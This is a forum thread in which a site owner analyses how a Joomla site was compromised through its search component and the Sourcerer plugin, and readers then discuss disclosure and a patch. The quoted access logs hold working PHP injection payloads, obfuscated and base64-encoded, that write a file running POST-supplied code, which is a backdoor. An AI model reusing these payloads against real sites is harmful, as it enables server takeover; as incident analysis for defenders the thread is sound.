How a Joomla Site Was Compromised Despite Security Measures: A Case Study

[stormbyte]

Hi all!

This post is a case study showing how a malicious attacker managed to compromise a Joomla website, even with multiple layers of security in place. The aim is to raise awareness and provide practical advice to strengthen your Joomla site’s defenses.

The Setup

• Joomla 5 (latest release).

• A frontend WAF (Web Application Firewall) configured with ModSecurity at Paranoia Level 2.

• Regular security updates applied.

Despite these precautions, the attacker successfully exploited a vulnerability.


The Attack Vector
The hacker began with reconnaissance, sending multiple attack patterns through the contact form, including various SQL injection and other payloads. This was part of their initial analysis phase to map the attack surface.

After gathering information, they targeted a vulnerability in the Finder Component (com_finder), which handles Joomla’s search functionality.

Code: Select all

"GET /component/finder/search?Itemid=192&q=%7Bsource%7D%5B%5B%3Fphp+die+%3F%5D%5D%7B%2Fsource%7D&Search=&t%5B%5D=&t%5B%5D=&t%5B%5D=&t%5B%5D=&t%5B%5D= HTTP/1.1" 200 11 "https://www.xxxhackedwebsitexxx.com/?option=com_finder&view=search" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0"

This was followed by more complex payloads:

Code: Select all

GET /component/finder/search?Itemid=192&q=%7Bsource%7D%5B%5B%3Fphp+file_put_contents%28%22defines.php%22%2C+base64_decode%28%22KsTK9tTKnAXb09CctR3Josmbpxmb1ByOnAXb09CctR3JgUmcpVXclJHI7kyJ7ciLjRiLnACcoB3P8cCIscCctR3Lw1Gdngyc05WZ052bj9Fd1B3XlxWamByOllGZgozPgkyVBJ1XFZUQT5UVfJVRUxUSGBCLnM3bnACLUN1TQ9FVVBlTJhCd1Bnbp9lclRHbpZGI9AyYkAyepgCIu9Wa0Nmb1ZGKrNWYixGbhN2XyVGdzl2ZlJ3XyVGZhVGagAHaw9DP%22%29%29+%3F%5D%5D%7B%2Fsource%7D&Search=&t%5B%5D=&t%5B%5D=&t%5B%5D=&t%5B%5D=&t%5B%5D= HTTP/1.1" 403 100 "https://www.xxxhackedwebsitexxx.com/?option=com_finder&view=search" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0"

so here:

Code: Select all

GET /component/finder/search?Itemid=192&q=%7Bsource%7D%5B%5B%3Fphp+die+%3F%5D%5D%7B%2Fsource%7D&Search= HTTP/1.1

Code: Select all

GET /component/finder/search?Itemid=192&q=%7Bsource%7D%5B%5B%3Fphp+file_put_contents(%22defines.php%22,+base64_decode(%22KsTK9t...%22))%3F%5D%5D%7B%2Fsource%7D&Search=

Although some of these requests returned 403 Forbidden, persistence paid off. Eventually, the attacker leveraged a successful injection:

Code: Select all

?q={source}[[<?php file_put_contents("defines.php", base64_decode("...")) ?>]]{/source}

Code: Select all

"GET /component/finder/search?Itemid=192&q=%7Bsource%7D%5B%5B%3Fphp+%28%22fil%22.%22e_pu%22.%22t_con%22.%22tents%22%29%28%22defines.php%22%2C+%28%22bas%22.%22e64_encode%22%29%28%22PD9waHAgZmlsZV9wdXRfY29udGVudHMoJ3RtcC90bXAnLCAnPD9waHAgJy5maWx0ZXJfaW5wdXQoSU5QVVRfUE9TVCwgJ29zJywgRklMVEVSX1VOU0FGRV9SQVcpLic7Jyk7IHJlcXVpcmUgJ3RtcC90bXAnOwo%3D%22%29%29+%3F%5D%5D%7B%2Fsource%7D&Search=&t%5B%5D=&t%5B%5D=&t%5B%5D=&t%5B%5D=&t%5B%5D= HTTP/1.1" 200 7599 "https://www.xxxhackedwebsitexxx.com/?option=com_finder&view=search" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0"

Exploitation Through Sourcerer Plugin
The site used the Sourcerer plugin, which permits the execution of PHP code within content. If improperly configured or exposed in public-facing inputs (e.g., search forms), this plugin becomes a major attack vector.

The attacker used code injection via the plugin to write a temporary file (tmp/tmp) containing:

Code: Select all

<?php 
file_put_contents('tmp/tmp', '<?php '.filter_input(INPUT_POST, 'os', FILTER_UNSAFE_RAW).';'); 
require 'tmp/tmp';
?>

This temporary file was used to overwrite defines.php and introduce a remote backdoor.
At this time, the original website was KO (500 error)

And putting such a RFI remote backdoor (Remote File Inclusion) the website was definitly controlled by the hacker...


Advanced Targeting
The attacker also explored other parts of the site, including:
Admin Section:

Code: Select all

GET /administrator/ HTTP/1.1

Code: Select all

"GET /administrator/ HTTP/1.1" 301 5 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0"

API Endpoints:

Code: Select all

GET /api HTTP/1.1

Code: Select all

"GET /api HTTP/1.1" 301 162 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0"

This shows a sophisticated multi-pronged approach, testing various entry points beyond the initial vector.



Impact
The modification of defines.php resulted in:

• Website downtime: The site became non-functional.
  Backdoor installation: This allowed the hacker to gain persistent remote access to the server.

Fortunately, after extensive log analysis (NGINX, database, etc.), it was confirmed that the attacker caused disruption but did not exfiltrate sensitive data.


Lessons Learned
Even a “secure” site can be compromised if a holistic approach to security is not implemented. Here are my key takeaways:

• Remove unused components/plugins: Disable features like Finder, API, or any extensions you don’t actively use.

• Audit plugin configurations: Ensure plugins like Sourcerer are configured securely and restricted to trusted inputs.

• Enhance server security:
  Implement stricter WAF rules.
  Restrict file system permissions to prevent unauthorized writes.

• Backup frequently: Perform multiple daily backups, especially for priority content.

• Engage professionals: If you manage sensitive or high-value websites, consult cybersecurity experts for tailored protection. Yes, I know, it costs money.... depends on your needs and assets

This case highlights the importance of proactive and comprehensive security for Joomla sites. Attackers often combine reconnaissance, persistence, and multi-vector strategies to bypass even robust defenses. Ensuring a layered security approach is crucial to staying protected.

I hope this post helps you better understand the threats and encourages you to strengthen your Joomla security posture. Stay safe out there!

[Per Yngve Berg]

Sourcerer is not listed in the VEL.

[stormbyte]

Sourcerer is not listed in the VEL.

Thank you for clarifying! True, Sourcerer isn’t in the VEL, but in this case, it was a combination of factors (Finder + plugin exposure) that led to the issue. It’s a good reminder to stay vigilant about how features interact and impact security.

[sakiss]

I think that this post should be addressed to the Joomla security team and not be public.

[pl71]

The setup should mention the Sourcerer Plugin. This plugin is not so common. People who run PHP code within content should be aware of all downsides.

[stormbyte]

I think that this post should be addressed to the Joomla security team and not be public.

IMY it's important to spread the words....I believe it's important to raise awareness about security, as it's easy to assume everything is inherently 'secure.' Joomla is undeniably excellent, and I have great respect for it! However, even small vulnerabilities can sometimes shake the system. With this post, my intention is simply to share a message: Think Security First!

[stormbyte]

The setup should mention the Sourcerer Plugin. This plugin is not so common. People who run PHP code within content should be aware of all downsides.

You're absolutely right—Sourcerer isn't very common, but for specialized sites, these kinds of tools do show up. It's important to stay aware of their potential downsides! As a workaround, I also chose to rewrite some modules to replace Sourcerer where possible. Stay vigilant!

[Hackwar]

Sourcerer is a tool to include arbitrary code from content. It is a violation of all security measures in PHP and the "remote code execution vulnerability" is basically a feature of that extension. There is nothing Joomla can do if you include third party code which is vulnerable by design.

[mandville]

Sourcerer is a tool to include arbitrary code from content. [snip] There is nothing Joomla can do if you include third party code which is vulnerable by design.

almost agree, its not really vulnerable, but like xtplorer, its doing th ejob it was designed to do. if the site admin doesnt lock it down enough then anything is really possible.

[regularlabs]

In other words, well, no, in the same words as the same post:

a vulnerability in the Finder Component (com_finder)

This is not an issue in or of Sourcerer, but something off in com_finder.

[regularlabs]

Ah, yes, I see how they did this now...
And, yes, can be prevented with setup changes in Sourcerer, but still.
I'll have to make some changes to Sourcerer and push a security fix release asap.

[regularlabs]

A new version of Sourcerer has been released: v11.0.0

[AMurray]

@regularlabs your JED listing for Sourcerer is now giving me a "Vulnerable Extensions" error (but is not on the VEL either new listing or resolved)
https://extensions.joomla.org/extension/sourcerer/

Sourcerer
This extension has been unpublished for the following reason:
UR3: Vulnerable Extension
View error codes

Unpublished by Mark at request of Harald Leithner - 24-1-25 14:09

....or else, the JED status for Sourcerer hasn't been refreshed with your new release yet?

[mandville]

sourcer is showing live on VEL , awaiting dev notification of fix via the vel link.

[JAVesey]

sourcer is showing live on VEL , awaiting dev notification of fix via the vel link.

Major-version updates (first v11, then v12.0.0) were released yesterday to address the issue.

HTH

[Webdongle]

+1

I think that this post should be addressed to the Joomla security team and not be public.

[Webdongle]

Quick response

A new version of Sourcerer has been released: v11.0.0

[stormbyte]

Ah, yes, I see how they did this now...
And, yes, can be prevented with setup changes in Sourcerer, but still.
I'll have to make some changes to Sourcerer and push a security fix release asap.

You rock! I'm really glad you were able to find the hidden vulnerabilities in Sourcerer...

I was actually the one who started this topic—I immediately reported the attack method because I thought it was interesting to share how it worked.

Next time, if a security issue arises in the RegularLabs range, I'll reach out to you directly via PM to avoid exposing the vulnerability to potential attackers.

On my end, I had recoded the PHP elements into a custom Joomla module for the occasion and had removed Sourcerer. I saw that you released a new patched version—that’s awesome!

For my own learning, I’d be really interested to know how you secured this in your component (via PM). That would be super cool! I work in security, so any knowledge-sharing is always a win!

[SniperSister]

Next time, if a security issue arises in the RegularLabs range, I'll reach out to you directly via PM to avoid exposing the vulnerability to potential attackers.

You should not only do so, if an issue arises with RegularLabs products but with each and every software product! It's a procedure called Responsible Disclosure and it is considered as best practice in the IT security industry.
If you want to avoid unnecessary mails to developers, feel free to do a quick research in common vulnerability databases if the issue in question is already known, but if in doubt, always reach out to the devs instead of doing a post in a public forum.

[gws]

While I agree with the sentiments of sniper sister's comment. In this case it shows the quality of Joomla's security team and developers response to a problem. 3 days from first post to resolution. Well done all.

[Webdongle]

3 days is a long time for a vulnerability to be in the public domain.

[gws]

No it isn't.

People also ask
What is the average time to fix a vulnerability?
How To Reduce Your Mean Time To Remediate A Vulnerability
between 60 to 150 days
What Is The Average Time To Remediate A Vulnerability? According to Infosec Institute, the average number of days to remediate a vulnerability is between 60 to 150 days. Vulnerability scanning tools perform the same function for enterprise and SMB environments.5 Mar 2024

[Webdongle]

@gws

The speed of fixing the problem is not in question. What is in question is announcing it to the world before it is fixed. Therefore, "3 days is a long time for a vulnerability to be in the public domain".

[SniperSister]

For the record: CVE-2025-22204 has been assigned.